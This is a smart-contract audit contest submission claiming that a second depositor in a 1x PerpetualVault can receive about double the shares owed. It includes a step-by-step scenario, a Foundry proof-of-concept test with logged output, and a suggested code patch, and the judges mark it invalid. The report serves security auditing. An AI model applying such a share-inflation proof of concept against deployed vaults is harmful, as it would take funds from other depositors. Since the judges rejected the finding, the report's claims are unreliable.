DeFiFoundry
50,000 USDC
View results
Submission Details
Severity: high
Invalid

The second depositor in a x1 vault can double the shares he should have received

Summary

Before any position is opened in a x1 vault, if two deposits A and B are made before a GMX opens a position, the next deposit C done once the position have been opened will see its shares doubled compared to what it should have been.

Vulnerability details

Scenario

The attack require a 1x vault with no existing position and totalShares == 0 , which is the case when a vault just got deployed, or if every users withdraw their deposits.

Steps:

  1. ๐Ÿ‘ฉโ€๐Ÿ’ผ Alice deposits 1e10 USDC (1000 USDC) into the vault, which mints Alice 1e18 shares (the vault has a 1e8 scaling factor for the shares)

  2. ๐Ÿค– The keeper sees Alice deposit and send a Tx to swap its deposit

  3. ๐Ÿ‘ค Right after Alice, and right before the keeper Tx gets executed, Bob deposits 1e10 USDC too into the vault
    Like Alice, Bob gets minted 1e18 shares

  4. ๐Ÿค– The keeper Tx to swap Alice deposits gets executed

  5. ๐Ÿ”บ GMX execute the order and send the result of the swap to the vault

    • ๐Ÿ”บ GMX also calls the afterOrderExecution callback which updates the vault state variable positionIsClosed == false and beenLong == true

    • Now a position is opened in the vault, which will change the behavior of the deposit() function

  6. ๐Ÿ‘ค Bob deposits again 1e10 USDC, but because a position is opened, nothing get minted yet until a swap happens

  7. ๐Ÿค– The keeper create a swap order into GMX to increase the position

  8. ๐Ÿ”บ GMX execute the order and send the result of the swap to the vault

    • ๐Ÿ”บ GMX also calls the afterOrderExecution callback which this time will mint shares to Bob

  9. ๐Ÿ‘ค Bob gets minted ~4e18 shares, even though he deposited 2e10 USDC in total

Final state of the attack:

  • Alice:

    • total deposits: 1e10 USDC

    • total shares: 1e18 USDC

  • Bob:

    • total deposits: 2e10 USDC

    • total shares: ~5e18 USDC

We clearly see that Bob possess 5/6 of the vault shares even though he deposited 2/3 of the total collateral token into the vault.

Impact

A user can get twice the amount of shares he should have gotten for a deposit.

Proof of Concept

Copy these two functions into test/PerpetualVault.t.sol:

โ€‹
function userDepositInfo(address user) internal returns (uint256 userTotalDeposits, uint256 userTotalShares) {
uint256[] memory userDepositIds = PerpetualVault(vault).getUserDeposits(user);
for(uint i; i < userDepositIds.length; i++ ){
(uint256 deposits ,uint256 shares,,,,) = PerpetualVault(vault).depositInfo(userDepositIds[i]);
userTotalDeposits += deposits;
userTotalShares += shares;
}
}
โ€‹
function test_POC_2PeopleDepositIntoGmx() external {
โ€‹
address alice = makeAddr("alice");
address bob = makeAddr("bob");
uint256 aliceAmount = 1e10;
uint256 bobAmount = aliceAmount;
โ€‹
depositFixture(alice, aliceAmount); //+ (1) Alice deposits 1e10 into PerpetualVault
โ€‹
MarketPrices memory prices = mockData.getMarketPrices(); //+ (2) keeper prepares the Tx
bytes[] memory swapData = new bytes[](1);
address[] memory gmxPath = new address[](1);
gmxPath[0] = address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336);
uint256 minOutputAmount = aliceAmount * prices.shortTokenPrice.min / prices.longTokenPrice.min * 95 / 100; // 5% slippage
swapData[0] = abi.encode(PROTOCOL.GMX, abi.encode(gmxPath, aliceAmount , minOutputAmount));
โ€‹
depositFixture(bob, bobAmount); //+ (3) Bob deposits 1e10 into existing position before the keeper
โ€‹
address keeper = PerpetualVault(vault).keeper();
vm.prank(keeper);
PerpetualVault(vault).run(true, true, prices, swapData); //+ (4) Keeper opens a long position
โ€‹
GmxOrderExecuted(true); //+ (5) GMX executes order successfully
โ€‹
console.log("___________ MID CHECKS ___________");
โ€‹
(uint256 aliceTotalDeposits, uint256 aliceTotalShares) = userDepositInfo(alice);
console.log("Alice TotalDeposits: %e", aliceTotalDeposits);
console.log("Alice TotalShares: %e\n", aliceTotalShares);
(uint256 bobTotalDeposits, uint256 bobTotalShares) = userDepositInfo(bob);
console.log("Bob TotalDeposits: %e", bobTotalDeposits);
console.log("Bob TotalShares: %e\n", bobTotalShares);
โ€‹
console.log("Vault TotalShares: %e\n", PerpetualVault(vault).totalShares());
โ€‹
โ€‹
โ€‹
vm.deal(bob, 0.5 ether); // dealing ETH for Bob to pay the executionFees
depositFixture(bob, bobAmount); //+ (6) Bob deposits 1e10 into existing position
โ€‹
vm.prank(keeper);
minOutputAmount = bobAmount * 2 * prices.shortTokenPrice.min / prices.longTokenPrice.min * 95 / 100; // 5% slippage
swapData[0] = abi.encode(PROTOCOL.GMX, abi.encode(gmxPath, bobAmount *2, minOutputAmount));
PerpetualVault(vault).runNextAction(prices, swapData); //+ (7) Keeper increases position size with Bob deposits
โ€‹
GmxOrderExecuted(true); //+ (8) GMX executes increase order
โ€‹
console.log("___________ FINAL CHECKS ___________");
โ€‹
(aliceTotalDeposits, aliceTotalShares) = userDepositInfo(alice);
console.log("Alice TotalDeposits: %e", aliceTotalDeposits);
console.log("Alice TotalShares: %e\n", aliceTotalShares);
(bobTotalDeposits, bobTotalShares) = userDepositInfo(bob);
console.log("Bob TotalDeposits: %e", bobTotalDeposits);
console.log("Bob TotalShares: %e\n", bobTotalShares);
โ€‹
console.log("Vault TotalShares: %e", PerpetualVault(vault).totalShares());
}

Output:

Ran 1 test for test/PerpetualVault.t.sol:PerpetualVaultTest
[PASS] test_POC_2PeopleDepositIntoGmx() (gas: 6316287)
Logs:
___________ MID CHECKS ___________
Alice TotalDeposits: 1e10
Alice TotalShares: 1e18
Bob TotalDeposits: 1e10
Bob TotalShares: 1e18
Vault TotalShares: 2e18
___________ FINAL CHECKS ___________
Alice TotalDeposits: 1e10
Alice TotalShares: 1e18
Bob TotalDeposits: 2e10
Bob TotalShares: 4.999934735657063295e18
Vault TotalShares: 5.999934735657063295e18

Recommended Mitigation Steps

The issue happen before any position is opened, and that's because while deposit() almost always set the flow to DEPOSIT, when positionIsClosed == false, the _finalize function reset the value of flow to zero.

In other terms, before a position is opened in the vault, users can call deposit even though the keeper hasn't processed the deposit, while on the contrary, when a position is opened, users cannot deposit if a previous deposit hasn't been processed yet.

A working fix that still run all other tests with success would be the following:

  • Do not call finalize() during the deposit when positionIsClosed == true to not delete the flow

  • Ensure run()can still be called when positionIsClosed == true and flow == DEPOSIT

function deposit(uint256 amount) external nonReentrant payable {
_noneFlow();
if (depositPaused == true) {
revert Error.Paused();
}
if (amount < minDepositAmount) {
revert Error.InsufficientAmount();
}
if (totalDepositAmount + amount > maxDepositAmount) {
revert Error.ExceedMaxDepositCap();
}
flow = FLOW.DEPOSIT;
collateralToken.safeTransferFrom(msg.sender, address(this), amount);
counter++;
depositInfo[counter] = DepositInfo(amount, 0, msg.sender, 0, block.timestamp, address(0));
totalDepositAmount += amount;
EnumerableSet.add(userDeposits[msg.sender], counter);
โ€‹
if (positionIsClosed) {
MarketPrices memory prices;
_mint(counter, amount, false, prices);
- _finalize(hex'');
} else {
_payExecutionFee(counter, true);
// mint share token in the NextAction to involve off-chain price data and improve security
nextAction.selector = NextActionSelector.INCREASE_ACTION;
nextAction.data = abi.encode(beenLong);
}
}
function run(
bool isOpen,
bool isLong,
MarketPrices memory prices,
bytes[] memory metadata
) external nonReentrant {
+ if (flow == FLOW.DEPOSIT && positionIsClosed){
+ //allowed
+ }
+ else {
_noneFlow();
+ }
_onlyKeeper();
if (gmxProxy.lowerThanMinEth()) {
revert Error.LowerThanMinEth();
}
flow = FLOW.SIGNAL_CHANGE;
โ€‹
//* -------- some code -------*//
โ€‹
Updates

Lead Judging Commences

n0kto Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Other

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!